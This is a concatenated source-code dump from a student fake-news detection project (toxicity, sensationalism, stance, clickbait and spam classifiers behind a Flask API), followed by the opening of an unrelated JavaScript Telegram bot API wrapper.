binary_value_predicted, predicted_proba = self.predict(self.modelPA, X_test)
return (1 - float(predicted_proba))
"""ToxicityClass.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1f2vn2FviqJRxECq6yjDiBAdiydTxu-Pp
"""
# -*- coding: utf-8 -*-
"""Copy of ToxicityClass.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/13g0cwrrcYHD2FxoRNyKw1iT_-NUs140E
"""
class GirlsWhoCode_Toxicity:
"""def encodeLabel(df):
df.label[df.label == 'FALSE'] = 0
df.label[df.label == 'half-true'] = 1
df.label[df.label == 'mostly-true'] = 1
df.label[df.label == 'TRUE'] = 1
df.label[df.label == 'barely-true'] = 0
df.label[df.label == 'pants-fire'] = 0
return df"""
def __init__(self, filenameModelTX, pathModelBR):
self.modelTX = self.__load(filenameModelTX)
self.modelBR = ktrain.load_predictor(pathModelBR)
def __load(self, path):
with open(path, 'rb') as file:
return pickle.load(file)
def cleaning(self, raw_news):
import nltk
from nltk.stem.wordnet import WordNetLemmatizer
nltk.download('punkt', quiet=True)
nltk.download('stopwords', quiet=True)
nltk.download('wordnet', quiet=True)
import nltk
# 1. Remove non-letters/Special Characters and Punctuations
news = re.sub("[^a-zA-Z]", " ", raw_news)
# 2. Convert to lower case.
news = news.lower()
# 3. Tokenize.
news_words = nltk.word_tokenize( news)
# 4. Convert the stopwords list to "set" data type.
stops = set(nltk.corpus.stopwords.words("english"))
# 5. Remove stop words.
words = [w for w in news_words if not w in stops]
# 6. Lemmentize
wordnet_lem = [ WordNetLemmatizer().lemmatize(w) for w in words ]
# 7. Stemming
stems = [nltk.stem.SnowballStemmer('english').stem(w) for w in wordnet_lem ]
# 8. Join the stemmed words back into one string separated by space, and return the result.
return " ".join(stems)
def getDataFrameWithToxicity(self, df):
# toxicityPredictor = ktrain.load_predictor('/content/drive/MyDrive/MLFall2020/girlswhocode/models/BERTOnLiarLiar')
news = df.loc[:,'headline_text']
dt = news.values
df['toxicity'] = self.modelBR.predict(dt)
return df
def encodeToxicity(self, df):
df.toxicity[df.toxicity == 'non-toxic'] = 2
df.toxicity[df.toxicity == 'toxic'] = 1
return df
def getSentiment(self, df):
sid_obj = SentimentIntensityAnalyzer()
for i in range(len(df)) :
sentiment_dict = sid_obj.polarity_scores(df.loc[i,"headline_text"])
df.loc[i,"POSITIVE"] =sentiment_dict['pos']
df.loc[i,"NEUTRAL"] =sentiment_dict['neu']
df.loc[i,"NEGATIVE"] =sentiment_dict['neg']
df.loc[i,"COMPOUND"] = sentiment_dict['compound']
for i in range(len(df)) :
if df.loc[i,"COMPOUND"] >=0.05:
sentiment = 'Positive'
elif df.loc[i,"COMPOUND"] > -0.05 and df.loc[i,"COMPOUND"] < 0.05:
sentiment = 'Neutral'
else :
sentiment = 'Negative'
df.loc[i,"SENTIMENT"] = sentiment
df =df.drop(['POSITIVE','NEUTRAL','NEGATIVE','COMPOUND'],axis=1)
df.SENTIMENT[df.SENTIMENT == 'Positive'] = 3
df.SENTIMENT[df.SENTIMENT == 'Negative'] = 2
df.SENTIMENT[df.SENTIMENT == 'Neutral'] = 1
return df
def get_word_tokens(self, text):
import gensim
result = []
for token in gensim.utils.simple_preprocess(text):
if len(token) > 3:
result.append(token)
return result
def identify_topic_number_score(self, df,text):
import gensim
documents = df[['headline_text']]
processed_docs = documents['headline_text'].map(self.get_word_tokens)
dictionary = gensim.corpora.Dictionary(processed_docs)
bow_corpus = [dictionary.doc2bow(doc) for doc in processed_docs]
lda_model = gensim.models.LdaMulticore(bow_corpus, num_topics=10, id2word=dictionary, passes=2, workers=2)
bow_vector = dictionary.doc2bow(self.get_word_tokens(text))
topic_number , topic_score = sorted(lda_model[bow_vector], key=lambda tup: -1*tup[1])[0]
return pd.Series([topic_number, topic_score])
#Scalar Vector for testing dataset
def testing_dataset_vector(self, df_testing):
vec_testing = []
for i in range(len(df_testing['toxicity'])):
vec = df_testing['sentiment_encode'].iloc[i] + df_testing['topic_score'].iloc[i]
vec_testing.append(vec)
return vec_testing
def sentiment_analyzer_scores(self, df):
analyser = SentimentIntensityAnalyzer()
sentiment_score = []
sentiment_labels = {0:'negative', 1:'positive', 2:'neutral'}
for index,row in df.iterrows():
score = analyser.polarity_scores(row['headline_text'])
values = [score['neg'], score['pos'], score['neu']]
max_index = values.index(max(values))
data = {'sentiment_score':score, 'sentiment_label':sentiment_labels[max_index], 'sentiment_label_encode': 1+math.log(max_index+1)}
sentiment_score.append(data)
return sentiment_score
def get_toxicity__vector(self, df):
from gensim.models.doc2vec import TaggedDocument
from gensim.models import Doc2Vec
import nltk
from nltk import word_tokenize
nltk.download('punkt', quiet=True)
tagged_text = []
for index, row in df.iterrows():
tagged_text.append(TaggedDocument(words=word_tokenize(row['headline_text']), tags=[row['label']]))
tagged_pa_text_test = tagged_text
#train doc2vec model
doc2vec_model_pa_test = Doc2Vec(documents = tagged_pa_text_test, dm=0, num_features=500, min_count=2, size=20, window=4)
y_pa_test, X_pa_test = create_vector_for_learning(doc2vec_model_pa_test, tagged_pa_text_test)
pa_test = []
for i in range(len(df['toxicity'])):
pa_value = df['toxicity'][i]
pa = doc2vec_model_pa_test[pa_value] + df['SENTIMENT'][i] + df['topic_score'][i]
pa_test.append(pa)
return pa_test
def tag_headline(self, df, label):
import gensim
from gensim.models.doc2vec import TaggedDocument
import nltk
from nltk import word_tokenize
nltk.download('punkt')
tagged_text = []
for index, row in df.iterrows():
tagged_text.append(TaggedDocument(words=word_tokenize(row['headline_text']), tags=[row[label]]))
return tagged_text
def getReadability(self, df):
df['ARI'] = df.headline_text.apply(lambda x:textstat.automated_readability_index(x))
df['DCR'] = df.headline_text.apply(lambda x:textstat.dale_chall_readability_score(x))
df['TS'] = df.headline_text.apply(lambda x:textstat.text_standard(x,float_output =True))
return df
def getToxicityScore(self, headline):
#converting the text and the label into a dataframe
cols = [[headline]]
df_testing = pd.DataFrame(cols,columns=['headline_text'])
df_testing.head()
#cleanup the text
df_testing['headline_text'] = df_testing["headline_text"].apply(self.cleaning)
#Next to predict the toxicity we will use the BERT model that was trained on the liar liar dataset
df_testing = self.getDataFrameWithToxicity(df_testing)
#encoding the toxicity
df_testing = self.encodeToxicity(df_testing)
sentiment_score_dt = self.sentiment_analyzer_scores(df_testing)
sentiment_score = pd.DataFrame(sentiment_score_dt)
df_testing['sentiment'] = sentiment_score['sentiment_label']
df_testing['sentiment_encode'] = sentiment_score['sentiment_label_encode']
#Topic modelling
import gensim
from gensim.models.doc2vec import TaggedDocument
from gensim.models.doc2vec import TaggedDocument
from gensim.models import Doc2Vec
df_testing[['topic_number','topic_score']] = df_testing.apply(lambda row: self.identify_topic_number_score(df_testing,row['headline_text']), axis=1)
df_testing = self.getReadability(df_testing)
X_test = np.array(self.testing_dataset_vector(df_testing))
X_test = X_test.reshape(-1, 1)
#y_test = df_testing['label']
#fake_news_classifier = pickle.load(open('/content/drive/MyDrive/MLFall2020/girlswhocode/models/toxicityModel.sav', 'rb'))
cols = list(df_testing.columns)
cols.remove('headline_text')
#cols.remove('label')
cols.remove('sentiment')
predicted = self.modelTX.predict(df_testing[cols])
predicedProb = self.modelTX.predict_proba(df_testing[cols])[:,1]
score = 1 - float(predicedProb)
return score
<file_sep>/inference_app/routes.py
from flask import current_app as app
from flask import request, make_response, jsonify, render_template
from flask_cors import cross_origin
from sigma.SIGMA import NetworkBasedPredictor, MalicousAccount, Credibility, VerifiableAuthenticity
from shining_unicorns.SHINING_UNICORNS import ContentStatistics
from pygooglenews import GoogleNews
import en_core_web_md
import os
nlp = en_core_web_md.load()
nbp = NetworkBasedPredictor(os.path.relpath('sigma/networkbased.pkl'))
ma = MalicousAccount(os.path.relpath('sigma/malicious_account_MLP.pkl'))
cd = Credibility(os.path.relpath('sigma/credibility_model.pkl'))
va = VerifiableAuthenticity(os.path.relpath('sigma/VerifiableAuthenticity_PickledModel.pkl'))
cs = ContentStatistics(os.path.relpath('shining_unicorns/finalized_model3.sav'))
def search_news(text):
googlenews = GoogleNews(lang='en')
n = googlenews.search(text)
return n['entries'][0]['title'], n['entries'][0]['source']['title']
@app.route("/")
@cross_origin()
def say_hello():
return render_template("index.html.jinja")
@app.route("/prediction", methods=["POST"])
@cross_origin()
def get_prediction():
body = request.json['text']
venue = request.json['venue']
print(body, venue)
prediction = nbp.predict(body, nlp)
ma_prediction = ma.predict(body, nlp)
cd_pred = cd.predict(body, nlp)
va_pred = va.predict(venue)
cs_pred = cs.predict(body, None)
message = {
"prediction": prediction,
"ma_pred": ma_prediction[1],
"cd_pred": cd_pred[1],
"va_pred": va_pred,
"cs_pred": cs_pred
}
return make_response(jsonify(message), 200)
@app.route("/realtime-prediction/<topic>", methods=["GET"])
@cross_origin()
def get_realtime_prediction(topic):
text, source = search_news(topic)
nb_pred = nbp.predict(text, nlp)
ma_pred = ma.predict(text, nlp)
cd_pred = cd.predict(text, nlp)
va_pred = va.predict(source)
cs_pred = cs.predict(text, None)
message = {
"article": text,
"publisher": source,
"prediction": nb_pred,
"ma_pred": ma_pred[1],
"cd_pred": cd_pred[1],
"va_pred": va_pred,
"cs_pred": cs_pred
}
return make_response(jsonify(message), 200)
<file_sep>/blastoff/BLASTOFF.py
import pandas as pd
import numpy as np
import csv
import gensim
import re
import nltk
nltk.download('stopwords', quiet=True)
nltk.download('averaged_perceptron_tagger', quiet=True)
from scipy import sparse
from nltk.stem import PorterStemmer
from nltk.tokenize import word_tokenize
nltk.download('punkt', quiet=True)
from zipfile import ZipFile
import pickle
from sklearn.feature_extraction.text import CountVectorizer
from googlesearch import search
import keras
#Imports
import torch
from transformers import BertTokenizer
from torch.utils.data import TensorDataset
from transformers import BertForSequenceClassification
from torch.utils.data import DataLoader, RandomSampler, SequentialSampler
# from google_drive_downloader import GoogleDriveDownloader as gdd
class Context_Veracity():
def __init__(self, veracity_models):
self.model = None
colnames = ['jsonid', 'label', 'headline_text', 'subject', 'speaker', 'speakerjobtitle', 'stateinfo','partyaffiliation', 'barelytruecounts', 'falsecounts','halftruecounts','mostlytruecounts','pantsonfirecounts','context', 'text']
# unpickling models
names = ["Random Forest"]
with ZipFile(veracity_models, 'r') as myzip:
for name in names:
self.model = pickle.load(myzip.open(f'{name}_model.pickle'))
#print(clf_reload)
def get_veracity_scores(self, title):
#calculate title_count on veracity
source_count = self.find_similar_articles(title)
if(source_count > 3):
veracity = 1
else:
veracity = 0
return self.get_veracity(veracity, source_count)
def get_source_count_and_veracity(self, title):
#calculate title_count on veracity
source_count = self.find_similar_articles(title)
if(source_count > 3):
veracity = 1
else:
veracity = 0
return (source_count,veracity)
def get_veracity(self, veracity, title_count):
df = pd.DataFrame(columns=['veracity', 'title_count'])
df.loc[0]=[veracity, title_count]
result = self.model.predict(df)
return result
def remove_unnecessary_noise(self, text_messages):
text_messages = re.sub(r'\\([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])\\([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])\\([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])', ' ', text_messages)
text_messages = re.sub(r'\\([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])\\([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])([a-z]|[A-Z]|[0-9])', ' ', text_messages)
text_messages = re.sub(r'\[[0-9]+\]|\[[a-z]+\]|\[[A-Z]+\]|\\\\|\\r|\\t|\\n|\\', ' ', text_messages)
return text_messages
def preproccess_text(self, text_messages):
# change words to lower case - Hello, HELLO, hello are all the same word
processed = text_messages.lower()
# Remove remove unnecessary noise
processed = re.sub(r'\[[0-9]+\]|\[[a-z]+\]|\[[A-Z]+\]|\\\\|\\r|\\t|\\n|\\', ' ', processed)
# Remove punctuation
processed = re.sub(r'[.,\/#!%\^&\*;\[\]:|+{}=\-\'"_”“`~(’)?]', ' ', processed)
# Replace whitespace between terms with a single space
processed = re.sub(r'\s+', ' ', processed)
# Remove leading and trailing whitespace
processed = re.sub(r'^\s+|\s+?$', '', processed)
return processed
def news_title_tokenization(self, message):
stopwords = nltk.corpus.stopwords.words('english')
tokenized_news_title = []
ps = PorterStemmer()
for word in word_tokenize(message):
if word not in stopwords:
tokenized_news_title.append(ps.stem(word))
return tokenized_news_title
def find_similar_articles(self, news):
news_title_tokenized = ''
if(re.match(r'^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)$', news)):
news_article = Article(news)
news_article.download()
news_article.parse()
news_title_tokenized = self.news_title_tokenization(self.preproccess_text(news_article.title))
else:
news_title_tokenized = self.news_title_tokenization(self.preproccess_text(news))
search_title = ''
for word in news_title_tokenized:
search_title = search_title + word + ' '
#print(search_title)
count = 0
post = 0
post_true = False
non_credit_sources = ['facebook', 'twitter', 'youtube', 'tiktok']
for j in search(search_title, num=1, stop=10, pause=.30):
#print(j)
post_true = False
for k in non_credit_sources:
if k in j:
post+= 1
post_true = True
if(post_true == False):
count+= 1
#print("Count is", count, "and Post is", post)
return count
class SensaScorer():
def __init__(self, sensationalist_model):
# self.sensa_dict = {1:'Barely sensationalist',0: 'Not sensationalist',2:'Sensationalist'}
self.sensa_dict = {1:0.55,0:0.25,2:0.95}
self.label_dict = {'Barely sensationalist': 1, 'Not sensationalist': 0, 'Sensationalist': 2}
self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
self.model = BertForSequenceClassification.from_pretrained("bert-base-uncased",
num_labels=len(self.label_dict),
output_attentions=False,
output_hidden_states=False)
self.model.to(self.device)
self.sensaModel = sensationalist_model
# gdd.download_file_from_google_drive(file_id='1SpfmiCq2a2aXTXvFW6cHnm-0eBCpcyxY',
# dest_path='./sensationalism_BERT_best.model',
# unzip=False)
self.model.load_state_dict(torch.load(self.sensaModel,
map_location=torch.device('cpu')))
self.tokenizer = BertTokenizer.from_pretrained('bert-base-uncased',
do_lower_case=True)
def getScore(self,title):
# self.model.load_state_dict(torch.load(self.sensaModel,
# map_location=torch.device('cpu')))
# self.model.load_state_dict(torch.load('sensationalism_BERT_best.model',
# map_location=torch.device('cpu')))
prediction = self.evaluateSentimentScore(title)
return prediction
#1 Function that receives a String with max 250 characters
def evaluateSentimentScore(self,news_title):
#Add title string to dataframe
df = pd.DataFrame(columns=['English','label'])
df.loc[0]=[news_title,0]
#Instantiate BERT Tokenizer
# tokenizer = BertTokenizer.from_pretrained('bert-base-uncased',
# do_lower_case=True)
#Econded record(s)
encoded_data = self.tokenizer.batch_encode_plus(
df.English.values,
add_special_tokens=True,
return_attention_mask=True,
pad_to_max_length=True,
max_length=256,
return_tensors='pt'
)
#Get inputs_ids_val and attention_masks_val
input_ids = encoded_data['input_ids']
attention_masks = encoded_data['attention_mask']
labels = torch.tensor([0])
#Tensor Dataset
dataset = TensorDataset(input_ids, attention_masks, labels)
#Create dataloader
dataloader = DataLoader(dataset,
sampler=SequentialSampler(dataset),
batch_size=1)
#Call evalation method and return values
return self.evaluate(dataloader)
# 2 Define Evaluation method Similar to evaluate but
def evaluate(self,dataloader):
self.model.eval()
loss_val_total = 0
predictions, true_vals = [], []
for batch in dataloader:
batch = tuple(b.to(self.device) for b in batch)
inputs = {'input_ids': batch[0],
'attention_mask': batch[1],
'labels': batch[2],
}
with torch.no_grad():
outputs = self.model(**inputs)
logits = outputs[1]
logits = logits.detach().cpu().numpy()
predictions.append(logits)
preds = np.concatenate(predictions, axis=0)
preds_flat = np.argmax(preds, axis=1).flatten()
return self.sensa_dict[preds_flat[0]]
<file_sep>/setup.dev.sh
if [ -d "./venv" ]
then
source ./venv/bin/activate
else
python -m venv ./venv
source ./venv/bin/activate
fi
python -m spacy download en_core_web_md
export FLASK_APP=wsgi
export FLASK_ENV=development
pip install -r requirements.txt
echo "start the application by running - flask run"<file_sep>/shining_unicorns/SHINING_UNICORNS.py
import pandas as pd
import numpy as np
import gensim
from nltk.stem.wordnet import WordNetLemmatizer
from nltk.corpus import stopwords
from string import punctuation
import nltk
import re
nltk.download('stopwords')
nltk.download('averaged_perceptron_tagger')
# words = model.index2word
# w_rank = {}
# for i,word in enumerate(words):
# w_rank[word] = i
# WORDS = w_rank
nltk.download('punkt')
nltk.download('wordnet')
def cleaning(raw_news):
# 1. Remove non-letters/Special Characters and Punctuations
news = re.sub("[^a-zA-Z]", " ", raw_news)
# 2. Convert to lower case.
news = news.lower()
# 3. Tokenize.
news_words = nltk.word_tokenize(news)
# 4. Convert the stopwords list to "set" data type.
stops = set(nltk.corpus.stopwords.words("english"))
# 5. Remove stop words.
words = [w for w in news_words if not w in stops]
# 6. Lemmentize
wordnet_lem = [ WordNetLemmatizer().lemmatize(w) for w in words ]
# 7. Stemming
stems = [nltk.stem.SnowballStemmer('english').stem(w) for w in wordnet_lem ]
# 8. Join the stemmed words back into one string separated by space, and return the result.
return " ".join(stems)
# import re
# from collections import Counter
# def words(text): return re.findall(r'\w+', text.lower())
# def P(word, N=sum(WORDS.values())):
# "Probability of `word`."
# return - WORDS.get(word, 0)
# def correction(word):
# "Most probable spelling correction for word."
# return max(candidates(word), key=P)
# def candidates(word):
# "Generate possible spelling corrections for word."
# return (known([word]) or known(edits1(word)) or known(edits2(word)) or [word])
# def known(words):
# "The subset of `words` that appear in the dictionary of WORDS."
# return set(w for w in words if w in WORDS)
# def edits1(word):
# "All edits that are one edit away from `word`."
# letters = 'abcdefghijklmnopqrstuvwxyz'
# splits = [(word[:i], word[i:]) for i in range(len(word) + 1)]
# deletes = [L + R[1:] for L, R in splits if R]
# transposes = [L + R[1] + R[0] + R[2:] for L, R in splits if len(R)>1]
# replaces = [L + c + R[1:] for L, R in splits if R for c in letters]
# inserts = [L + c + R for L, R in splits for c in letters]
# return set(deletes + transposes + replaces + inserts)
# def edits2(word):
# "All edits that are two edits away from `word`."
# return (e2 for e1 in edits1(word) for e2 in edits1(e1))
# def correction(word):
# "Most probable spelling correction for word."
# return max(candidates(word), key=P)
# def spell_checker(text, model):
# all_words = re.findall(r'\w+', text.lower()) # split sentence to words
# spell_checked_text = []
# for i in range(len(all_words)):
# spell_checked_text.append(correction(all_words[i]))
# return ' '.join(spell_checked_text)
import pickle
class EchoChamberMaster():
'''
Echo Chamber
'''
def ecoChamberScoreFinal(self,text,peopleCommented=15,numberOfShares=35,replyToComments=29,peopleLikedPost=30,spamScore=1):
return ((100*peopleCommented+3*numberOfShares+1*replyToComments+1*peopleLikedPost)/(spamScore+1))/1000
def predict(self,text):
text=cleaning(text)
r=self.ecoChamberScoreFinal(text)
return r
from nltk.tokenize import word_tokenize
def get_tokens(row):
return word_tokenize(row.lower())
def get_postags(row):
postags = nltk.pos_tag(row)
list_classes = list()
for word in postags:
list_classes.append(word[1])
return list_classes
from collections import Counter
def find_no_class(count, class_name = ""):
total = 0
for key in count.keys():
if key.startswith(class_name):
total += count[key]
return total
def get_classes(row, grammatical_class = ""):
count = Counter(row)
return find_no_class(count, class_name = grammatical_class)/len(row)
class ContentStatistics():
def __init__(self, filename):
self.model = self.load(filename)
def load(self, path):
with open(path, 'rb') as file:
return pickle.load(file)
def predict(self, text, model):
length=len(text)
text=cleaning(text)
# text=spell_checker(text, model)
text=get_tokens(text)
text=get_postags(text)
list1=[get_classes(text, "RB"),get_classes(text, "VB"),get_classes(text, "JJ"),get_classes(text, "NN"),length]
X_test = np.array(list1).reshape(-1,5)
return self.model.predict_proba(X_test)[0][0]<file_sep>/seekers/SEEKERS.py
"""
Standard imports:
"""
import pickle
import pandas as pd
from string import punctuation
import nltk
from nltk.corpus import stopwords
nltk.download('stopwords', quiet=True)
nltk.download('wordnet', quiet=True)
import string
from nltk.stem import WordNetLemmatizer, SnowballStemmer
stemmer = SnowballStemmer('english')
import re
from nltk.stem.wordnet import WordNetLemmatizer
lemmatizer = nltk.WordNetLemmatizer()
from string import punctuation
nltk.download('punkt', quiet=True)
nltk.download('averaged_perceptron_tagger', quiet=True)
from transformers import BertTokenizer
import torch
import numpy as np
from sklearn.preprocessing import StandardScaler
from scipy import sparse
from transformers import BertForSequenceClassification
import torch.nn.functional as F
"""Loading the pickled model and predicting the score"""
sw = stopwords.words('english')
class Seekers_StanceDetection():
stance_score = {'agree': 0.0,'disagree': 0.8,'discuss':0.3,'unrelated': 1.0 }
def __init__(self, filename):
self.model = self.load(filename)
def remove_stop_and_short_words(self,text):
text = [word.lower() for word in text.split() if (word.lower() not in sw) and (len(word)>3)]
return " ".join(text)
def lemmatize_stemming(self,text):
return stemmer.stem(WordNetLemmatizer().lemmatize(text, pos='v'))
def remove_punctuation(self,text):
translator = str.maketrans('', '', string.punctuation)
return text.translate(translator)
def process_data(self,text):
# print ('Input Text :: ' + text)
text = self.remove_stop_and_short_words(text)
#print('Stopwords and short words removed :: ' + text)
text = self.lemmatize_stemming(text)
#print('Lemmatized :: ' + text)
text = self.remove_punctuation(text)
#print('Punctuation removed :: ' + text)
return text
def load(self, path):
with open(path, 'rb') as file:
return pickle.load(file)
def predict(self, text):
processedText = self.process_data(text)
result = self.model.predict_proba([processedText])
predictedStance = self.model.predict([processedText])[0]
if predictedStance == 2:
result=0.49
elif predictedStance == 1:
result=0.11
else:
result=0.8
return result
#print("op ", Seekers_StanceDetection("randomforest.sav").predict("text here"))
class Seekers_ClickBait():
def __init__(self, multinomialFile, tfidfFile):
self.multinomialModel = self.load(multinomialFile)
self.tfidfModel = self.load(tfidfFile)
def load(self, path):
with open(path, 'rb') as file:
return pickle.load(file)
def tokenization(self,text):
lst=text.split()
return lst
def lowercasing(self,lst):
new_lst=[]
for i in lst:
i=i.lower()
new_lst.append(i)
return new_lst
def remove_punctuations(self,lst):
new_lst=[]
for i in lst:
for j in punctuation:
i=i.replace(j,'')
new_lst.append(i)
return new_lst
def remove_numbers(self,lst):
nodig_lst=[]
new_lst=[]
for i in lst:
for j in self.digits:
i=i.replace(j,'')
nodig_lst.append(i)
for i in nodig_lst:
if i!='':
new_lst.append(i)
return new_lst
def remove_stopwords(self,lst):
stop=stopwords.words('english')
new_lst=[]
for i in lst:
if i not in stop:
new_lst.append(i)
return new_lst
def remove_spaces(self,lst):
new_lst=[]
for i in lst:
i=i.strip()
new_lst.append(i)
return new_lst
def lemmatzation(self, lst):
lemmatizer=nltk.stem.WordNetLemmatizer()
new_lst=[]
for i in lst:
i=lemmatizer.lemmatize(i)
new_lst.append(i)
return new_lst
def predict(self,text):
dfrme = pd.DataFrame(index=[0], columns=['text'])
dfrme['text'] = text
predict=dfrme['text'].apply(self.tokenization)
predict=predict.apply(self.lowercasing)
predict=predict.apply(self.remove_punctuations)
predict=predict.apply(self.remove_stopwords)
predict=predict.apply(self.remove_spaces)
predict=predict.apply(self.lemmatzation)
predict =predict.apply(lambda x: ''.join(i+' ' for i in x))
text = self.tfidfModel.transform(predict)
train_arr=text.toarray()
probValue = self.multinomialModel.predict_proba(train_arr)[:,1][0]
return probValue
#print('op ', Seekers_ClickBait('Seekers_ClickBait.sav','tfidf.sav').predict('text here'))
class Seekers_Spam():
def __init__(self, loaded_tdIdfModel, loaded_model):
self.loaded_tdIdfModel = self.load(loaded_tdIdfModel)
self.loaded_model = self.load(loaded_model)
def load(self, path):
with open(path, 'rb') as file:
return pickle.load(file)
def tokenization(self,text):
lst=text.split()
return lst
def predict(self, text):
dfrme = pd.DataFrame(index=[0], columns=['text'])
dfrme['text'] = text
predict=dfrme['text'].apply(self.tokenization)
predict = predict.apply(lambda x: ''.join(i+' ' for i in x))
text = self.loaded_tdIdfModel.transform(predict)
result = self.loaded_model.predict_proba(text.toarray())[:,1][0]
return result
#print('op ', Seekers_Spam('TFidfvectorizer.sav','final_SpamModel.sav').predict('text here'))
# -*- coding: utf-8 -*-
"""Seekers_BertMcc.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1i4iQgvzkWh8TUDh9KmYPdgmIiXK85rRE
"""
class Seekers_BertMcc():
def __init__(self, pathModelBR):
self.modelBR = BertForSequenceClassification.from_pretrained(pathModelBR)
# model = BertForSequenceClassification.from_pretrained("/content/")
def cleaning(self, raw_data):
# 1. Remove non-letters/Special Characters and Punctuations
data = re.sub("[^a-zA-Z]", " ", str(raw_data))
# 2. Convert to lower case.
data = data.lower()
# 3. Tokenize.
data_words = nltk.word_tokenize(data)
# 4. Convert the stopwords list to "set" data type.
stops = set(nltk.corpus.stopwords.words("english"))
# 5. Remove stop words.
words = [w for w in data_words if not w in stops]
# 6. Lemmentize
wordnet_lem = [ WordNetLemmatizer().lemmatize(w) for w in words ]
# 7. Stemming
stems = [nltk.stem.SnowballStemmer('english').stem(w) for w in wordnet_lem ]
# 8. Join the stemmed words back into one string separated by space, and return the result.
return " ".join(wordnet_lem)
def scaleTruth(self, mostly_true_count,half_true_count,barely_true_count,false_count,pants_on_fire_count):
max_len = 300
cols = ['mostly_true_count','half_true_count','barely_true_count','false_count','pants_on_fire_count']
history_features = pd.DataFrame(np.array([[mostly_true_count,half_true_count,barely_true_count,false_count,pants_on_fire_count]]),columns=cols)
scaler = StandardScaler()
scaler.fit(history_features)
StandardScaler(copy=True, with_mean=True, with_std=True)
history_features = scaler.transform(history_features)
num_rows, num_cols = history_features.shape
suffix = np.zeros([num_rows, max_len-num_cols])
history_features = np.concatenate((history_features,suffix),axis=1)
return history_features
def tokenize_text(self, text,mostly_true_count,half_true_count,barely_true_count,false_count,pants_on_fire_count):
textline = []
# Load the BERT tokenizer.
X_t = self.scaleTruth(mostly_true_count,half_true_count,barely_true_count,false_count,pants_on_fire_count)
tokenizer = BertTokenizer.from_pretrained('bert-base-uncased', do_lower_case=True)
input_ids = []
attention_masks = []
textline.append(text)
for sent in textline:
encoded_dict = tokenizer.encode_plus(
sent, # Sentence to encode.
add_special_tokens = True, # Add '[CLS]' and '[SEP]'
max_length = 300, # Pad & truncate all sentences.
pad_to_max_length = True,
return_attention_mask = True, # Construct attn. masks.
return_tensors = 'pt', # Return pytorch tensors.
)
# Add the encoded sentence to the list.
input_ids.append(encoded_dict['input_ids'])
# And its attention mask (simply differentiates padding from non-padding).
attention_masks.append(encoded_dict['attention_mask'])
# Convert the lists into tensors.
input_ids = torch.cat(input_ids, dim=0)
attention_masks = torch.cat(attention_masks, dim=0)
input_ids = input_ids.numpy().astype(float)
for j in range(0,299):
if(input_ids[0][j]==102):
input_ids[0][j] = X_t[0][0]
input_ids[0][j+1] = X_t[0][1]
input_ids[0][j+2] = X_t[0][2]
input_ids[0][j+3] = X_t[0][3]
input_ids[0][j+4] = X_t[0][4]
input_ids[0][j+5] = 102
break
input_ids = torch.from_numpy(input_ids)
(test_input_ids,
test_attention_masks) = (input_ids, attention_masks)
return test_input_ids, test_attention_masks
def get_bert_predictions(self, textData, source, context, mostly_true_count, half_true_count, barely_true_count, false_count, pants_on_fire_count):
#Adding some latent variables from the data
text = textData+ source + context
text = self.cleaning(text)
b_input_ids, b_input_mask = self.tokenize_text(text,mostly_true_count,half_true_count,barely_true_count,false_count,pants_on_fire_count)
#storing values to GPU
b_input_ids.cuda()
b_input_mask.cuda()
model = self.modelBR #BertForSequenceClassification.from_pretrained("/content/")
# model.cuda()
desc = model.cuda()
# Put model in evaluation mode
model.eval()
# Tracking variables
predictions = []
with torch.no_grad():
# Forward pass, calculate logit predictions
b_input_ids = torch.tensor(b_input_ids).cuda().long()
b_input_mask = torch.tensor(b_input_mask).cuda().long()
outputs = model(b_input_ids, token_type_ids=None,
attention_mask=b_input_mask)
logits = outputs[0]
# Move logits to CPU
logits = logits.detach().cpu().numpy()
# Store predictions
predictions.append(logits)
# Combine the results across the batches.
predictions = np.concatenate(predictions, axis=0)
tensorProbability = F.softmax(torch.tensor(predictions))
# Take the highest scoring output as the predicted label.
predicted_labels = np.argmax(predictions, axis=1)
tensorProbability = tensorProbability.numpy()
predicted = str(predicted_labels[0])
arr_fake = np.array([tensorProbability[0][3],tensorProbability[0][4],tensorProbability[0][5]])
fakeness_probability = np.max(arr_fake)
return int(predicted), fakeness_probability | cdbad03d46842208a4e2d56c415067544a553ec4 | [
"Markdown",
"INI",
"Python",
"Text",
"Shell"
] | 11 | Python | CMPE257-AlternusVera-All-Teams/AlternusVera-All-Teams-Integration | 29d6d8e0576f2500b72767b9ef3b248ea0910d95 | c60d197ba2293194db81fc1468d0698f46a4e0ee |
refs/heads/master | <file_sep>/*
* Copyright (c) 2015 <NAME> <<EMAIL>>
*/
'use strict';
import hat from 'hat';
import request from 'request';
import qs from 'querystring';
class BotApi {
constructor(api_key) {
this.api_key = api_key;
}
get webhook_secret() {
return this._secret;
}
get api_key() {
return this._api_key;
}
set api_key(api_key) {
this._api_key = (typeof api_key === 'string') ? api_key : null;
}
get debug() {
return request.debug;
}
set debug(debug) {
request.debug = debug;
}
/**
* Get bot's user information.
*
* @param callback
* Response handler.
*/
getMe(callback) {
request.get(this._getRequestUri('getMe'), callback);
return this;
}
/**
* Receive incoming updates.
*
* @param parameters
* offset [optional]
* Identifier of the first update to be returned. Must be greater
* by one than the highest among the identifiers of previously
* received updates. By default, updates starting with the
* earliest uncofnrimed updates are returned.
*
* limit [optional]
* The maximum number of updates to receive. Accepts values
* between 1 and 100. Defaults to 100.
*
* timeout [optional]
* Timeout in seconds for long polling. Defaults to 0.
*
* @param callback
* Response handler.
*/
getUpdates({offset, limit, timeout}, callback) {
request.get(this._getRequestUri('getUpdates', {
offset,
limit,
timeout
}), callback);
return this;
}
/**
* Specify a url to recieve incoming update via an outgoing webhook.
*
* @param url
* HTTPS url to send updates to. Use an empty string to remove webhook
* integration.
*
